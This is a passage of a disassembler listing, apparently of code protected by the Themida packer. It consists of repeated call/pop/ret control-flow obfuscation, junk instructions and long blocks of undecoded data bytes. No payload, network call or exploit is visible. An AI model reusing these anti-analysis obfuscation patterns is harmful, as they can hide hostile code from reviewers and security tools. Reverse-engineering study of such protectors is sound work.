		add	[esp+0Ch+var_8], 15h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		and	al, 0ABh
		push	0
		push	esi
		call	loc_5CA8C1
		and	[esi-3Dh], bl


loc_5CA8C1:				; CODE XREF: sub_5C9F23+996p
		pop	esi
		mov	[esp+14h+var_10], esi
		add	[esp+14h+var_10], 14h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		pop	esp
		jnz	loc_5CA8E4
		jnb	loc_5CA8E4
		mov	[ebp+61417C1h],	esi


loc_5CA8E4:				; CODE XREF: sub_5C9F23+9AFj
					; sub_5C9F23+9B5j
		cmp	dword ptr [ebp+614013Dh], 3
		jnz	loc_5CAD33
		mov	[ebp+6142685h],	ecx
		cmp	dword ptr [ebp+617A7EAh], 0
		jz	loc_5CAD33
		push	0
		push	edi
		call	loc_5CA90F
		and	[edi-3Dh], bl


loc_5CA90F:				; CODE XREF: sub_5C9F23+9E4p
		pop	edi
		mov	[esp+18h+var_14], edi
		add	[esp+18h+var_14], 15h
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		stosd
		test	eax, 29CB8166h
		xor	eax, 0A7EAB5FFh
		pop	ss
		push	es
		push	0
		push	edx
		call	loc_5CA937
		and	[edx-3Dh], bl


loc_5CA937:				; CODE XREF: sub_5C9F23+A0Cp
		pop	edx
		mov	[esp+20h+var_1C], edx
		add	[esp+20h+var_1C], 1Dh
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		db 71h
; ---------------------------------------------------------------------------
		xchg	eax, esp
		pushf
		xor	byte ptr [ebx+ebx+635B32B4h], 0FFh
		xchg	eax, ebp
		cmp	[ebx], eax
		adc	al, 6
		mov	edi, ebx
		push	ecx
		or	edi, [ebp+6140C99h]
		pop	ebx
		mov	esi, [ebp+617A7DEh]
		or	[ebp+6141529h],	esi
		mov	dword ptr [esi], 10001h
		sub	[ebp+614040Dh],	ebx
		mov	edi, 6297C341h
		xchg	eax, esi
		jmp	loc_5CA997
; ---------------------------------------------------------------------------
		dd 0AEE13742h, 5245466Eh, 91323AD6h, 7F2F957Ch
		db 0E8h, 42h, 21h
; ---------------------------------------------------------------------------


loc_5CA997:				; CODE XREF: sub_5C9F23+A5Cj
		push	eax
		mov	ebx, 42F855A5h
		xchg	eax, esi
		push	0
		push	ecx
		call	loc_5CA9A9
		and	[ecx-3Dh], bl


loc_5CA9A9:				; CODE XREF: sub_5C9F23+A7Ep
		pop	ecx
		mov	[esp+30h+var_2C], ecx
		add	[esp+30h+var_2C], 19h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		db 57h,	0F8h, 0F3h
		dd 0E923AEFCh, 11h, 0B2985D6Ah,	4A8804E5h, 483DC91Eh, 0FD197215h
		dd 0D99D8B43h, 0B061415h, 1412159Dh, 0EAB5FF06h, 8B0617A7h
		dd 16F381D9h, 0FF0FFE72h, 14108195h, 0F59D8B06h, 8B061416h
		dd 17A7DEB5h, 45BD8B06h, 8B061402h, 140FF985h, 419D8906h
		dd 8106141Ch, 0B1095CDFh, 0C4868942h, 8B000000h, 142B6995h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 0F69BB0EBh, 49C411CCh, 0C283A69Ah, 12E804h
		dd 4420000h, 0EAE8577Fh, 385A2BF0h, 9EB62253h, 7F6E99D3h
		dd 895BD1B3h, 800F2050h, 8, 0E5BD8B51h,	5F061409h, 0BC23858Dh
		dd 0DE80617h, 0CB000000h, 4291805Ch, 648A0170h,	1115D122h
		dd 0C9B53360h, 0E9061401h, 0Ah,	0CFCB095Eh, 0A9A5A197h
		dd 5F6131A6h, 0B88689h,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0ECD2FDC3h, 0C3290B61h
		dd 6A006AF9h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0B763C351h, 0DBC43B49h, 0BD8B5EF2h
		dd 61434B1h, 0A7EAB5FFh, 6A0617h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 25EEC1C3h, 0F60157Eh
		dd 28Dh, 611EB500h, 33AD95FFh, 6A0614h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0B6DE4AC3h
		dd 0F10F7B22h, 9D898EECh, 6142C35h, 0AE850h, 0DF620000h
		dd 1AE488CEh, 0BBC9704h, 0E50DBB51h, 5F5F135Dh,	0FF243489h
		dd 17A7EAB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 5CC84554h, 0BD8BF56Fh, 6141FC5h
		dd 230995FFh, 8ABB0614h, 837828C2h, 141189BDh, 840F0006h
		dd 44h,	0EDBD8B50h, 5B06142Fh, 0BA666096h, 820F6842h, 2
		dd 50616160h, 96FE8B66h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 39C35747h, 0BA0A64F2h, 34DDD72Ch, 4C46BF66h
		dd 0A7EAB5FFh, 14E90617h, 0FC000000h, 6B0B5B9Ah, 0B15B981Ch
		dd 1D6213BFh, 7E1EB9A7h, 0FF4A0258h, 1402D595h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0E8EDAD78h, 0E38098A0h, 0A3CB818Fh, 0FF4A635Ah, 17A7EAB5h
		dd 0DDBD8B06h, 0FF06140Ch, 140B7595h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 85D46F95h, 2109C451h, 0DD8D2915h, 83061417h,	14112DBDh
		dd 840F0206h, 6Ah, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0EDC35141h, 6870Fh, 9D290000h, 61425D5h
		dd 55858Bh, 0BD8B0614h,	6140A7Dh, 6D17BB51h, 0C65F7C21h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 35747CC3h, 8D297972h, 61401E9h, 1E899D89h
		dd 85C70614h, 6141E49h,	0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	loc_5CAD17
		and	[ebx-3Dh], bl


loc_5CAD17:				; CODE XREF: sub_5C9F23+DECp
		pop	ebx
		mov	[esp+38h+var_34], ebx
		add	[esp+38h+var_34], 19h
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		db 58h
		dd 0E5653445h, 91BD8BFDh
; ---------------------------------------------------------------------------
		adc	edx, [esi+eax]


loc_5CAD33:				; CODE XREF: sub_5C9F23+9C8j
					; sub_5C9F23+9DBj
		jmp	near ptr dword_5C9FF0+1Bh
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	loc_5CAD43
		and	[edi-3Dh], bl


loc_5CAD43:				; CODE XREF: sub_5C9F23+E18p
		pop	edi
		mov	[esp+18h+var_14], edi
		add	[esp+18h+var_14], 15h
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		mov	ecx, 9531605Ch
		and	[ecx], ebx
		adc	al, 6
		sub	edx, 33AFA820h
		popa
		mov	eax, ecx
		push	0
		push	ebp
		call	loc_5CAD70
		and	[ebp-3Dh], bl


loc_5CAD70:				; CODE XREF: sub_5C9F23+E45p
		pop	ebp
		mov	[esp+4], ebp
		add	dword ptr [esp+4], 1Ah
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		std
		cmp	dl, [edi+38C3B962h]


loc_5CAD87:				; CODE XREF: sub_5C9F23:loc_5C9F30j
		lea	eax, [ebp+6140791h]
		push	0
		push	edi
		call	sub_5CAD98
		and	[edi-3Dh], bl
sub_5C9F23	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5CAD98	proc near		; CODE XREF: sub_5C9F23+E6Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5CAD98	endp

; ---------------------------------------------------------------------------
		dd 8F3B4A3Fh, 9D2960EEh, 6140701h, 2A59531h, 90610614h
		dd 310F5250h, 7E960h, 0E9840000h, 42768758h, 0F98B662Fh
		dd 50585A61h, 16800Fh, 0EE80000h, 0A1000000h, 9AF91047h
		dd 0F1ABF736h, 2E96C670h, 5B5F5666h, 51006A90h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0AE85359h
		dd 0E4000000h, 0C6A41DE1h, 0DDCB47D2h, 85895200h, 614021Dh
		dd 6A5B5Bh, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 15h,	86C35747h, 6860F91h, 0B000000h,	1411E5BDh, 0CF816606h
		dd 6ABA15h, 25B589h, 858D0614h,	618D469h, 19F5B529h, 0C0830614h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 80ACFCB9h, 0DDF4A341h, 0D419D29h, 0E9500614h
		dd 0Ah,	6365829Fh, 9F69EA3h, 4890413h, 1BD8B24h, 6A06141Bh
		dd 0EDBD8B00h, 6A06141Fh, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0F35E6F3Fh
		dd 2E070E8Ah, 12E9h, 2F074500h,	0B02ACE51h, 642ABA40h
		dd 73A593C2h, 0FFEC3D45h, 141B1995h, 8EE38006h,	0A7788D8Dh
		dd 6A0617h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 3302E3C3h, 5DE50543h, 95897C79h, 61404B5h
		dd 6AD1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0A3C3AAC3h, 29F3133Eh, 66F5643Bh,	0BD83DF8Bh
		dd 61401CDh, 0A2850F01h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0F2FC350h
		dd 68Ah, 0E19D8B00h, 6A061404h,	53006A02h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8BD6E574h
		dd 14001DBDh, 0BB509006h, 4034E379h, 57006A90h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 9E657F62h
		dd 0FFFC7000h, 1433AD95h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0E844CCDBh
		dd 8CF9FA91h, 0ED0E97Bh, 0E80000h, 5D000000h, 0D473ED81h
		dd 8D290618h, 61411D9h,	5E9h, 0B3A26900h, 0BD2967B1h, 6140711h
		dd 8E49858Dh, 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0F43CD3C3h, 0F276B84h, 48Bh, 56BF6600h
		dd 0E9515032h, 14h, 6B4F8DA1h, 7446EF40h, 4A0A407h, 9A4BB565h
		dd 72EBFBF0h, 2404895Fh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 19h, 53C35141h, 0F0D8D3EFh, 3800FA9h, 80000000h
		dd 0FF64B0CBh, 35h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 853519BAh, 182CC781h
		dd 89645EFEh, 25h, 50006A00h, 3E8h, 0C3582000h,	24448958h
		dd 24448104h, 1A04h, 0C3504000h, 122B4843h, 8BBF5224h
		dd 141005BDh, 0F9B58906h, 0FF061422h, 142DED85h, 0CB816606h
		dd 0FF6AE501h, 5E9h, 24EE5E00h,	0B5FF842Eh, 6142389h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 3BC35646h, 0BB1A852Fh
		dd 141FCE6Ch, 1DBDBD8Bh, 95FF0614h, 6142A89h, 140E9h, 0F800B000h
		dd 8F0F70E6h, 1, 0F71E4F9h, 681h, 0F1B53100h, 3C061430h
		dd 1E830F61h, 0E9000001h, 0Bh, 27777966h, 5B589D82h, 0FDFD671h
		dd 0DB81C8B6h, 2F09BF7Dh, 6BAh,	719D8900h, 0E8061412h
		dd 0Bh,	17AC41D3h, 6F08B8E7h, 0E9A70F01h, 5, 492BD531h
		dd 0C18B5B17h, 2D99D8Bh, 0E8C10614h, 0F2BF6604h, 0E2F76610h
		dd 12E9h, 3EB51600h, 0D68D7E4Dh, 777D2FC3h, 0B32EADCBh
		dd 2B66D37Dh, 66D88BC8h, 7DEDC381h, 0EE8D18Bh, 9000000h
		dd 4A89AD7Ch, 2CDB2E45h, 444D5C06h, 12E9CBh, 24D70000h
		dd 0BDFE9F41h, 0BAE847E9h, 0F714E402h, 83EE3729h, 7BE95Bh
		dd 0CE90000h, 49000000h, 865CD10Bh, 9D3E0532h, 8BFB617Ch
		dd 185h, 25D38100h, 836453A6h, 0BD8B07C0h, 6141F79h, 6600C083h
		dd 3B9456BBh, 0B830FD0h, 8B000000h, 14073DBDh, 3BE906h
		dd 8D8B0000h, 0FFFFFFFFh, 0E183F88Bh, 2A840F01h, 9000000h
		dd 1433F18Dh, 4870F06h,	66000000h, 835921BFh, 0FFFFFFA5h
		dd 0BF0FFEFFh, 19589D9h, 66000000h, 6D8DCF81h, 0E9h, 0F2B58D00h
		dd 81061846h, 0B50398DFh, 6A006A46h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 2025C355h
		dd 780F8C6Dh, 7195FF09h, 6A061429h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0FCBDC357h
		dd 0ABA57B70h, 6880Fh, 0B5890000h, 6142FB1h, 0FF0B9h, 83FE8B00h
		dd 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 289A93C3h, 89A5C46Dh, 14181585h, 0C18D8906h
		dd 0FC061401h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	59C35343h, 0F938A0C8h, 0C3226E32h, 6840Fh, 85010000h
		dd 614262Dh, 0B8h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 203DB149h, 0E9600355h
		dd 9, 0B1220407h, 9DB7C7C0h, 0BD89617Bh, 6142E09h, 6AD22Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 6236DFC3h, 1E219529h, 33AD0614h, 3E8D1C2h, 4E983D0h
		dd 9D8BF475h, 61415FDh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0BEC35646h, 0E8408E2Fh, 9D03113Dh, 6140981h
		dd 880Dh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 4D19E20Eh, 6E939D1Fh, 2B69958Bh
		dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 12372DC3h, 3719D89h, 8D8B0614h, 6141055h
		dd 55C08060h, 8E861h, 0A2D20000h, 0F09435CEh, 5BFC2A15h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	8B575818h
		dd 1429759Dh, 6A5B06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 5BDB5BC3h, 26BE1EAh, 0BD83B56Bh
		dd 6140F4Dh, 0A1840F00h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0BB98C351h
		dd 0B86541EAh, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5CB4E7
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB4E7	proc near		; CODE XREF: Themida_:005CB4DFp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5CB4E7	endp

; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		sbb	eax, 3F2B13D6h
		lea	ecx, [ebp+6144DFFh]
		push	0
		push	ecx
		call	sub_5CB50E
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB50E	proc near		; CODE XREF: Themida_:005CB506p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5CB50E	endp

; ---------------------------------------------------------------------------
		dw 84C6h
		db 6Dh
byte_5CB521	db 68h,	51h, 0D1h	; DATA XREF: Themida_:005B7B50o
		dd 0FC1C92Ah, 28Eh, 0FFDC8A00h,	53006AE1h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 47523CB1h
		dd 0BF2D8C4Bh, 673B6BDFh, 13DBD83h, 0F000614h, 46184h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 89B58949h, 83061410h, 14013DBDh,	840F0106h
		dd 44Dh, 1CCD9589h, 0BD830614h,	614013Dh, 4860F03h, 6A000004h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0F9CC351h, 1484h,	0FE900h, 78870000h, 0F63173D1h
		dd 0FC5D38Ah, 0C0A9779Bh, 6DB5890Fh, 6006140Ch,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 2EC35545h, 86F68523h
		dd 44B2B1A4h, 0D98C6686h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 96C35545h, 0F5C3A448h, 52CEC921h, 80D98B66h
		dd 6A04E1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 5200B0C3h, 0F9891A43h, 8D291C31h,	61404F1h
		dd 2FB9BD89h, 0C90A0614h, 140840Fh, 0F600000h, 8ABADAB7h
		dd 61539828h, 0E35858Bh, 95890614h, 6140E75h, 6A98533h
		dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 6CFD4C3h,	58BC564Dh, 8B1A0160h, 142C019Dh
		dd 0DEDB8106h, 5056A0D6h, 0BC8759BBh, 2404891Ah, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 53C35343h, 994F8B20h
		dd 3DBD2350h, 5F06141Ah, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 98544EC3h, 0D5DFCF23h
		dd 4E86FE9h, 0FF000000h, 50001F03h, 424448Bh, 48E0Fh, 52600000h
		dd 8B6158h, 138E0Fh, 0EE90000h,	71000000h, 6A6E404h, 85A800A6h
		dd 9D89C62Dh, 2444896Dh, 13E804h, 33F20000h, 15FC50B3h
		dd 288D709Eh, 0FF0D0896h, 0C43F2AF7h, 7E9EFh, 23E10000h
		dd 50801526h, 29585FE3h, 140F0985h, 9D95FF06h, 60061408h
		dd 1D19BD23h, 89610614h, 17A7EA85h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0E951EAABh
		dd 165h, 858BFA8Bh, 617A7E2h, 0C7D98B66h, 1800h, 0F3DDBB00h
		dd 0B58B4583h, 617A7E6h, 8BFFB70Fh, 14028185h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 689EE22h, 0E2816660h, 8B615E29h, 140E3585h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 95BD89C3h, 8906142Bh, 6A0446h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 5BCA41C3h, 0E1EA5BDBh
		dd 896B026Bh, 1408058Dh, 11E85006h, 2A000000h, 77C816B6h
		dd 0FC51EDACh, 0AFD60104h, 0BE3BBBA7h, 895FDA8Ah, 6A2434h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 4A82E2C3h, 82E8BF80h, 52E2F908h, 7644BB66h, 0E2B5FF5Bh
		dd 0F0617A7h, 0CC68FFB7h, 0F1F9697h, 288h, 81DDB300h, 94332434h
		dd 0B70F1F89h, 13E9DFh,	30690000h, 0F183A7C7h, 0A7C3038h
		dd 0C61DFB42h, 0AC6D40F9h, 0EA858D03h, 660617A7h, 90095FBBh
		dd 14E9h, 6B9FF00h, 2AC54487h, 83750CE5h, 0E19DB5BFh, 477A0C94h
		dd 8B6650E3h, 10E990FAh, 3D000000h, 55036A32h, 0BF692764h
		dd 0FACCD11Bh, 0FF464DF6h, 14089D95h, 6A6106h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 4A963C3h, 3ED375DCh,	8BB52643h, 3D85C7D8h, 3061401h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0E8AAC356h, 8,	0E5DA614Dh, 4253D8FCh
		dd 20719D31h, 835B0614h, 17A7EABDh, 840F0006h, 2Bh, 92B0BF66h
		dd 3DE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 9040A6C6h, 50248E0Bh, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 4D7A52C3h
		dd 16666D02h, 6633D1B8h, 831E6CBFh, 14013DBDh, 850F0306h
		dd 497h, 191B531h, 810F0614h, 15h, 10E9h, 0D88ACD00h, 21D11621h
		dd 6C32374Dh, 0DEDD11F7h, 0EABD83A7h, 617A7h, 469840Fh
		dd 0B70F0000h, 0EAB5FFF8h, 6A0617A7h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 3016C352h
		dd 0A311BF6Ah, 0BF66649Fh, 95FF1256h, 6140339h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 83C35545h, 0E97A1837h
		dd 13h,	89B4887Eh, 9C19F383h, 70BDCFD1h, 0A4E71352h, 8BA6C600h
		dd 17A7DEB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0C7FD0733h, 1000106h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 8B33CAA9h, 0FFB35070h, 68C0Fh, 0B5290000h, 6141839h
		dd 6850Fh, 8D890000h, 614156Dh,	50FAB70Fh, 3489D98Bh, 0A9BD8B24h
		dd 0FF061419h, 17A7EAB5h, 459D8B06h, 0FF061402h, 14108195h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0E025907Ah, 0E7971527h, 9BCB8166h, 0DEB58B84h
		dd 0F0617A7h, 68Eh, 35852900h, 8B06141Eh, 140FF985h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0F81643Fh, 684h, 7AD38100h, 894058F3h, 1434A9B5h, 0C4868906h
		dd 8B000000h, 14078DBDh, 69958B06h, 6A06142Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 1AACC350h, 0E2FC07FCh, 29FFDB6Fh, 141C218Dh,	2FDF8106h
		dd 8318C95Ch, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0E03A0CC3h, 8EF2ABE2h, 6A205089h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 82BC357h,	9E786E88h, 8D4149BDh, 17BC2385h
		dd 0ABB6606h, 0B886894Ch, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 71B1C355h
		dd 0F9DBF60h, 6A6101B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0B4DCD44h, 0B5FF91B5h
		dd 617A7EAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	0EFC35646h, 47C55B7Ch, 33AD95FFh, 5E90614h, 6B000000h
		dd 0FCDCBD43h, 8972B350h, 1EB32434h, 0A7EAB5FFh, 0F88A0617h
		dd 230995FFh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0DD6622C3h, 2916CCCDh, 1420059Dh
		dd 89BD8306h, 61411h
		dd 6C840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 150424h, 50400000h, 0E92735C3h, 0Fh,	0ACF63B33h, 8D1ABFE2h
		dd 0FC175BAh, 0E9963367h, 11h, 630E6EA6h, 7FB21A42h, 54BD0B35h
		dd 3B2DF8C1h, 4D9D8B38h, 96061407h, 5050D98Bh, 9E952h
		dd 0CC100000h, 4610F6Bh, 0F404E54h, 0D98B6631h,	8096585Ah
		dd 0B5FF65E3h, 617A7EAh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 7C35242h, 13D61DCBh, 0EC9F3F2Bh, 7585093Ch
		dd 66061426h, 0FF6A8EBBh, 1402D595h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0F38166A3h
		dd 0BD01893Ch, 6140979h, 18F59D8Bh, 0B5FF0614h,	617A7EAh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 6BC35545h
		dd 0CEE1D7D0h, 0AB657A3Ah, 7595FF0Fh, 8A06140Bh, 5BD8BDDh
		dd 83061417h, 14112DBDh, 840F0206h, 46h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Dh, 91C35545h, 531623h
		dd 57CC1CDFh, 7F8DBBAFh, 8A606D79h, 5B5760D9h, 61615852h
		dd 55858Bh, 8B660614h, 0C6F9h, 501B589h, 85C70614h, 6141E49h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5CBE9F
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBE9F	proc near		; CODE XREF: Themida_:005CBE97p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5CBE9F	endp

; ---------------------------------------------------------------------------
		db 0A4h
		dd 47D786BBh, 8E0F9A36h, 5, 4D681EBBh, 9D2B606Eh, 61403DDh
		dd 0E961C18Bh, 0FFFFF242h, 0C18BDF8Bh, 1EA5BD8Bh, 858D0614h
		dd 6140791h, 6E9h, 0BE3DCF00h, 50BA8854h, 6A42BB66h, 6A240489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0DF55C350h, 0E90E311Bh, 7, 0BC0F90C4h, 6A8ADC43h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 465F0808h, 96C5C8E4h, 0EB810A63h, 23F1C060h
		dd 34D59D89h, 6A0614h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 0AC35242h, 530F785h, 50C780B4h, 0E527858Dh
		dd 6A0618h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 6A9772C3h, 83C60736h, 858D89C6h, 83061400h
		dd 6A05C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0CCBD33C3h, 759B85E6h, 50FCA6B8h,	489D88Bh
		dd 0D3816624h, 6A023Dh,	0CEDB8166h, 6A006ABEh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 6C3FC356h, 0BD2E0F12h, 0FF89B7D9h, 141B1995h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 88C44A2Eh, 14870F8Ah, 60000000h, 0AE9h, 45E33900h, 0AFE1862Dh
		dd 6693A978h, 0F961C18Bh, 0A7788D8Dh, 0D1FF0617h, 0F98B6653h
		dd 0CDBD835Bh, 1061401h, 61850Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 3949EC3h
		dd 663FF9DFh, 26AFE8Bh,	50FE8B66h, 89FE8B66h, 29512404h
		dd 140D498Dh, 810F5F06h, 17h, 0EE8h, 818E1E00h,	9783CD4Ah
		dd 3F7C3335h, 66BCC6E6h, 0FF5FDE8Bh, 1433AD95h,	0FDBD8B06h
		dd 0E9061423h, 0D07h, 0E8h, 0ED815D00h,	618E531h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0E8C35646h, 0EE9h
		dd 2B599100h, 0CACD9B7Dh, 0BDBDEAFFh, 8D82D4E6h, 178E4985h
		dd 0A99D8B06h, 81061433h, 9F6925CFh, 0E8509037h, 13h, 0ADFA6DAEh
		dd 99BD6EE7h, 4D62E3A0h, 68A6DE7Ah, 5B094240h, 0B58D2990h
